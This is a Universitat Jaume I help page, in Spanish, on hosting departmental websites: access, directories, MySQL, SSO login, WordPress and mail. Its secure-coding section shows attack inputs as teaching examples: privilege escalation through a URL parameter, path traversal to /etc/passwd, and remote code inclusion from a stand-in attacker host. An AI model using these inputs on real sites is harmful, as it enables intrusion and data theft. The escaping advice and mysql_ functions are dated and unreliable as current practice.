Skip to end of metadata
Go to start of metadata

You are viewing an old version of this page. View the current version.

Compare with Current View Page History

« Previous Version 76 Next »

ANAR A LA VERSIÓ EN VALENCIÀ


Instrucciones

Los departamentos, centros, institutos, grupos de investigación y otras entidades vinculadas pueden solicitar un espacio cedido a los servidores centrales de la Universidad Jaume I para albergar sus páginas web. Puedes consultar los Criterios de cesión de espacios web y protocolos de actuación frente a incidencias en los Espacios Cedidos de la UJI, y después seguir estas instrucciones.

AVISOS importantes:

  1. Cualquier petición que comporte la modificación de funcionalidades o características así como peticiones de entrega de las credenciales (login/password) de un espacio cedido, la debe solicitar el responsable que realizó el alta del site mediante el CAU y que consta en el registro de espacios cedidos. En caso contrario, la petición se desestimará y no se llevará a efecto.
  2. El Servicio de Informática se reserva el derecho de cerrar el espacio cedido en caso de superar la cuota o usarlo para otros fines no autorizados.
  3. Cada espacio dispondrá de 2GB inicialmente, aunque se podrá solicitar más espacio solicitar más espacio (ver el apartado "Petición de" y elegir la opción "aumentar la cuota de almacenamiento"). También se recuerda que este servidor está dimensionado para alojar contenido relacionado con la publicación web estríctamente (páginas web, bases de datos, etc.) con lo cual, no se puede utilizar para almacenamiento de otros contenidos NO destinados a esta finalidad (copias,aplicaciones, etc).

  4. El Servicio de Informática NO da soporte a scripts (CGI) desarrollados por los propietarios del espacio cedido o por terceros.
  5. Los espacios cedidos no son páginas personales. Para albergar páginas personales dispones de la herramienta Google Sites (sites.google.com) que ofrece de forma fácil y sencilla, múltiples plantillas prediseñadas para realizar tu web personal.
  6. Se tendrá que cumplir con los acuerdos de los Criterios de Cesión de los Espacios Web y las Normas de la Red Informática de la Universitat Jaume I.
  7. Para modificar la clave de acceso accede aquí.

Desde el Servicio de Informática se ha puesto en funcionamiento de un servicio de hosting para albergar los espacios cedidos correspondientes a grupos de investigación, departamentos, servicios y otras entidades vinculadas que necesitan publicar información en la web con carácter propio e independiente de aquella información que aparece en el Portal de la UJI. 

Introducción

Características básicas

Las ventajas principales de usar este servicio son:

  • Acceso interactivo SSH (opcional, por defecto no está activo).
  • Copia automática (backup).
  • Varias herramientas al alcance de todos los espacios (sistema de prevención de ataques, acceso interactivo, base de datos, plantillas, estadísticas, blogs y soporte de diferentes versiones de PHP), librerías y módulos de autentificación de usuarios de la Universidad Jaume I, certificados para servidores web seguros, etc. (Existe la posibilidad de pedir otras herramientas adicionales a éstas, y, en caso de ser factible su instalación, se pondrá al alcance de todos los espacios).
  • Opcionalmente cada espacio cedido puede disponer de un bloque basado en el software WordPress
  • Utilidad para cambiar la clave de acceso del usuario. En el mismo enlace tenemos la posibilidad de cambiar la contraseña sin recordar la antigua.
  • Opcionalmente un espacio cedido puede disponer de certificado digital para servir el contenido de forma segura entre el espacio cedido y el usuario. Para solicitar esta característica se deberá tramitar mediante un CAU.

Acceso al servidor

Cada espacio cedido dispone de acceso interactivo y transmissión del contenido web (hojas estáticas y programación) mediante SSH.

  • Si se solicita acceso interactivo SSH se recomienda el uso del programa putty.
  • Para transmitir el contenido de vuestra web se recomienda fileZilla y el protocolo seguro SFTP.
  • El nombre del servidor a utilizar es mewtoo.uji.es o el nombre del espacio cedido.uji.es (sin http:// o https://).
  • El protocolo "inseguro" FTP todavía se encuentra activo en el servidor aunque solo es accesible desde la red UJI, desde otras redes no se podrá conectar. Al respecto, el programa fileZilla o análogo tendrá que usar FTP explícito bajo TLS.
  • Usad el nombre de usuario y clave de acceso proporcionadas en el momento de concesión del espacio cedido.

Estructura de directorios

La estructura de directorios de un espacio cedido es la siguiente. Fuera de estos directorios no se permite la creación, eliminación o modificación de contenido.

  • htdocs: directorio con el contenido accesible desde un navegador web.
  • logs: directorio donde se almacenan los mensajes de error de php (php_error.log)
  • tmp: directorio donde el usuario puede almacenar contenido que no sea accesible desde un navegador web.

Ejecución del software

Sólo se permite la ejecución de scripts en PHP (extensiones, php, php5), no se podrán ejecutar scripts en perl, python y/o shell script. Aquí hay unos ejemplos en este tipo de lenguaje de programación: 

PHP ( http://www.php.net )

Cuando se programe una aplicación web es muy recomendable seguir estas normas. Se trata de recomendaciones para PHP pero son aplicables a cualquier otro lenguaje de programación.

  • Inicialización de variables:

    És imprescindible inicializar cada variable que se utilice dentro del script, para que no sea iniciada por terceros invocando la URL del script con GET o POST. Es decir, alguien podría invocar el script enviándole un valor de la variable falso si conoce el nombre de la misma. Considere este fragmento que no inicializa la variable superusuario:

<?php
                 if (comprueba_privilegios()){
                    $superusuario = true;
                 }
                 ...
?>


  • Si alguien conoce esta variable podría llamar el script así: http://www..uji.es/example.php?superusuario=true y convertirse en superusuario. Este fragmento soluciona el fallo de seguridad:

    <?php
                    $superusuario = false;
                    if (comprueba_privilegios()){
                       $superusuario = true;
                    }
                    ...
    ?>
  • Recogida de valores: 

Las variables que llegan por el método GET, POST o COOKIE, normalmente son registradas como variables globales, de forma que invocandolas directamente ya tenemos acceso a su valor. Esta es una forma de trabajar no recomendable, ya que podemos caer otra vez en un fallo similar al de antes, con lo cual, tendríamos que recurrir a otros métodos para recoger las variables, tales como $ _GET [ 'superusuario' ] si nos llega por GET, $ _POST [ 'superusuario'] si nos llega por POST, $ _COOKIE [ 'superusuario'] si nos llega en forma de cookie, o $ _REQUEST [ 'superusuario'], que es la forma universal de acceder, cualquiera que sea el método.

  • Aceso a archivos:

Imaginemos que tenemos una variable $nombre_usuario que contiene el nombre del usuario después de autenticarse en alguna parte, y que queremos cargar un saludo según quien sea de la siguiente forma

<?php
                     include ("/usr/local/lib/salutacions/$nom_usuari");
?>

Alguna mala persona podría pasar con el  $nombre_usuario el valor ../../../../etc/passwd o ../../algun/arxiu/secret/important.txt y acceder al contenido con datos sensibles. Este caso se puede corregir usando la función realpath ($ nombre_usuario) lo cual elimina los .. indeseables. Otro caso podría ser el del siguiente script que hace a la vez pero está codificado así:


<?php
              chdir ("/usr/local/lib/salutacions");
              include ($nom_usuari);
              ...
?>

La misma mala persona podría pasarle al script como valor de $nombre_usuario una URL con código PHP, por ejemplo:

http://www.elmalo.com/codigo_malicioso.php 
(http://www..uji.es/example.php nombre_usuario=http://www.elmalo.com/codigo_malicioso.php), resultando que nuestro script incluye el contenido del script remoto y ejecutando las sentencias malignas. La solución pasa por utilizar las funciones realpath () o basename ().

Otros: 

No usar datos proporcionados por el usuario, normalmente de formularios, como parámetros de funciones como eval(), preg_replace() con la opción /e, o comandos de sistema tales como exec(), system(), popen() , passthru() o el operador `, ya que podría terminar ejecutando órdenes no deseadas en el sistema.

También es especialmente peligroso recoger datos proporcionados por el usuario para confeccionar una sentencia SQL o query. Al repecto deberemos usar las funciones mysql_real_escape_string (), addslashes () y stripslashes (), para eliminar caracteres sensibles que podrían facilitar al desgaste alterar la query.

  • Más información: 

Libro "Programming PHP", Editorial O'Reilly, Rasmus Lerdorf & Kevin Tatroe, y una documentación completa de las funciones disponibles en este lenguaje de programación, a las siguientes páginas web:

Estadísticas semanales

Todos los espacios cedidos disponen de una página donde se pueden consultar las estadísticas semanales de accesos al espacio cedido. La dirección de acceso a estas estadísticas es la siguiente:

  • http://<nombre_del_espacio_cedido>.uji.es/stats/

Estas estadísticas nos muestran una relación de accesos web en nuestro espacio, con las siguientes características:

  •      Resumen de accesos (número de visitantes, visitas, hojas, sol.licitud tráfico). Accesibles por día, semana, mes y año.
  •      Detalles de que accede (Piuma; ses, servidores y robots).
  •      Detalles de navegación (duración de visitas, hojas de entrada y de salida, tipos de archivos servidos, URLs u hojas accedidas, sistemas operativos y navegadores).
  •      Enlaces (enlaces externos, desde buscadores y palabras que se buscan en búsquedas).
  •      Otros (añadido a favoritos, códigos de error HTTP para hojas no encontradas, detalles de acceso desde la red de la UJI).

Se puede observar que hay gran cantidad de parámetros, aunque en la mayoría de los casos sólo nos interesarán los siguientes:

  • Número de visitas: cada visita se corresponde en un conjunto de accesos de una misma persona durante un periodo de tiempo (1 hora).
  • Hojas: número de accesos a páginas HTML.
  • Solicitudes: hace referencia al número de hits, donde cada noche es un acceso a cada elemento de una URL o cuchilla (imágenes, elementos multimedia, etc). Puede ver un ejemplo de esta información accediendo a la URL mencionada antes, donde podrá encontrar ayuda contextual.

También se dispone de la opción de recibir estas estadísticas por correo electrónico. En este caso, debe comunicárnoslo haciendo un comunicado CAU

Base de datos

Se puede hacer uso de una base de datos Mysql (http://www.mysql.com) dentro del espacio cedido. Se puede consultar, insertar, modificar y eliminar la información almacenada en esta base de datos mediante cualquier lenguaje de script de aquellos que hemos comentado antes. Un ejemplo de acceso a la base de datos hecho con PHP podría ser el siguiente:

<html>
 <body>
 <?
  $mysql_id  = mysql_connect("localhost","usuari","password");
  $resultado = mysql_db_query("bd", "select * from profesores", $mysql_id);
  echo "<table border=1 width=40% align=center>";
  while ($reg = mysql_fetch_object($resultado)) {
   echo "<tr>";
    echo "<td>".$reg->nombre."</td>";
    echo "<td>".$reg->despacho."</td>";
    echo "<td>".$reg->telefono."</td>";
    echo "<tr>";
  }
  echo "</table>";
  mysql_close($mysql_id);
 ?>
 </body>
 </html>

Este ejemplo hace una conexión a la base de datos mysql, hace una consulta SQL, y muestra el resultado de la consulta en una tabla HTML. Puede encontrar más información de las funciones de acceso a bases de datos Mysql PHP en esta dirección: http://www.php.net/manual/en/ref.mysql.php

Para gestionar la estructura e información de esta base de datos, también se ofrece un entorno visual de gestión de Bases de Datos MySQL. La URL de acceso a este entorno es la siguiente:

  • http://<nombre_espacio_cedido>.uji.es/phpmyadmin

Para acceder a la gestión hay que autenticarse con el usuario y la clave de acceso del sistema.
Para hacer uso de esta base de datos y sus herramientas, debe solicitar el servicio haciendo uso del  CAU.

Autenticación de usuarios de la Universidad Jaume I

Se pone a disposición de cualquier espacio cedido una librería de autenticación para los usuarios de la Universidad (aquellos que tengan cuenta en la misma, no se pueden validar cuentas locales a los espacios cedidos) que nos permite validar el acceso y mantener sesión tanto en el espacio cedido como en el SSO, permitiendo además que el usuario autenticado pueda acceder a otras herramientas integradas (pe e-ujier, aulavirtual, etc). Para hacer uso de la librería, es necesario utilizar el lenguaje de programación PHP y haberlo solicitado:

  1. En el momento de solicitar un nuevo espacio cedido.
  2. Si el espacio ya está creado, se debe realizar un CAU solicitando esta integración.
  3. Hacer uso de HTTPS.

Ejemplo:

<?php           
/**             
 * Ejemplo para autenticar, obtener el nombre de usuario y cerrar
 * la sesión del SSO. El orden es importante, normalmente para usarlo
 * en producción se debería dividir el proceso de log-in del de log-out 
 * en dos script diferentes o tener muy claro cómo funciona lo de abajo.
 */             

require_once "ecedits_ujiauth/lib/Auth.php";
require_once "ecedits_ujiauth/lib/Error.php";

use MewtooEC\AuthSSO\Auth;
use MewtooEC\AuthSSO\Error;
                 
$auth = Auth::getAuth();

if ($_REQUEST['logout']=='1'){
        /**             
         * Importante: quitamos logout=1 o si vuelve después 
         * del logout se queda en un bucle de redirecciones. 
         */             
        $auth->logout($_SERVER['SCRIPT_URI']);
        die();          
}               
                                 
if (!$auth->isAuthenticated()){
        $auth->authenticate();
        die();           
}               

echo "<pre>Nombre de usuario: " . $auth->getUserName() . "</pre>";

Servicio de Blog

Este software se basa en el gestor de blogs llamado WordPress, muy conocido y que podrá encontrar en múltiples lugares. Además, la documentación es muy completa.

La dirección para acceder a la administración de su blog es la misma que la del espacio que habéis pedido, añadiendo al final "/ blog / wp-admin /", por ejemplo:

  • http: // <nombre_del_espacio_cedido> .uji.es / blog / wp-admin /

Las credenciales que ha de usar son las mismas que usará para acceder vía ftp. Para ver las entradas de nuestra bitácora simplemente añadimos "/ blog /" al final de la dirección de nuestro espacio. Por ejemplo:

  • http: // <nombre_del_espacio_cedido> .uji.es / blog

Envíos de correos

El envío de correo a través del servidor de correo que tenemos habilidad en la máquina de espacios cedidos se debe hacer de forma autenticada para evitar riesgos de propagación de virus y spam ante un acceso no autorizado a una de las cuentas de los espacios cedidos. El siguiente código fuente expone una función de ejemplo para enviar correo autenticado (usando las credenciales del usuario del espacio cedido):

<?php
 
set_include_path("/usr/share/php/PHPMailer");
 
require_once("PHPMailerAutoload.php");
 
 
function authMail($destino, $tema , $bodymail, $from, $usuario, $passwd) {
 
        $mail = new PHPMailer();
        $mail->IsSMTP();
        $mail->CharSet = 'UTF-8';
 
        $mail->Host       = "localhost";
        $mail->SMTPDebug  = 0;         
        $mail->SMTPAuth   = true;     
        $mail->Port       = 25;      
        $mail->Username   = $usuario;
        $mail->Password   = $passwd;
 
        $mail->From = $from;
        $mail->FromName = $from;
        $mail->addAddress($destino);
        $mail->Subject = $tema;
        $mail->Body = $bodymail;
 
        if(!$mail->send())
        {
            return false;
        }
        else
        {
            return true;
        }
 
}

2.- Se puede utilizar cualquier herramienta más completa de envío de correo. Ponemos a su disposición varios enlaces a las herramientas de gestión de contenidos que suelen ser más utilizadas.

  • WordPress

Si has instalado tu la versión de WordPress necesitarás instalar el siguiente plugin pulsando en este enlace, WP Mail SMTP: wordpress.org/extend/plugins/wp-mail-smtp

  • Configuración para enviar correos utilizando WP Mail SMTP

En la opción "Ajustes", seleccionar "Email". A continuación hay que configurar los datos del servidor SMTP que necesitamos usar. Para poder realizar envíos de correos desde el WordPress utilizando el SMTP de la Universidad Jaume I deberás indicar los siguientes datos de configuración del servidor.

Mailer: Send all WordPress emails via SMTP.
 SMTP Host: localhost
 SMTP Port: 25
 Encryption: No encryption
 Authentication: Yes: Use SMTP authentication
 
 Username: El nombre de usuario que se facilitó al solicitar el espacio cedido.
 Contraseña: La clave que se facilitó al solicitar el espacio cedido.

Otros

En esta sección, se irá añadiendo progresivamente otras herramientas de uso relacionada con la cesión de espacios:

  • Utilidad para el procesamiento y envío de formularios por correo (consulte la documentación).
  • Utilidad para cambiar la clave de acceso del usuario ftp
  • Utilidad para generar gráficas (de barras, tartas, etc) en PHP llamada JPGRAPH.

Para hacer uso de esta herramienta, en vuestros scripts PHP debe incluir la línea:

  • include ("jpgraph14 / jpgraph.php");

al principio del script.

Si desea saber más sobre esta herramienta visite http://www.aditus.nu/jpgraphh


  • No labels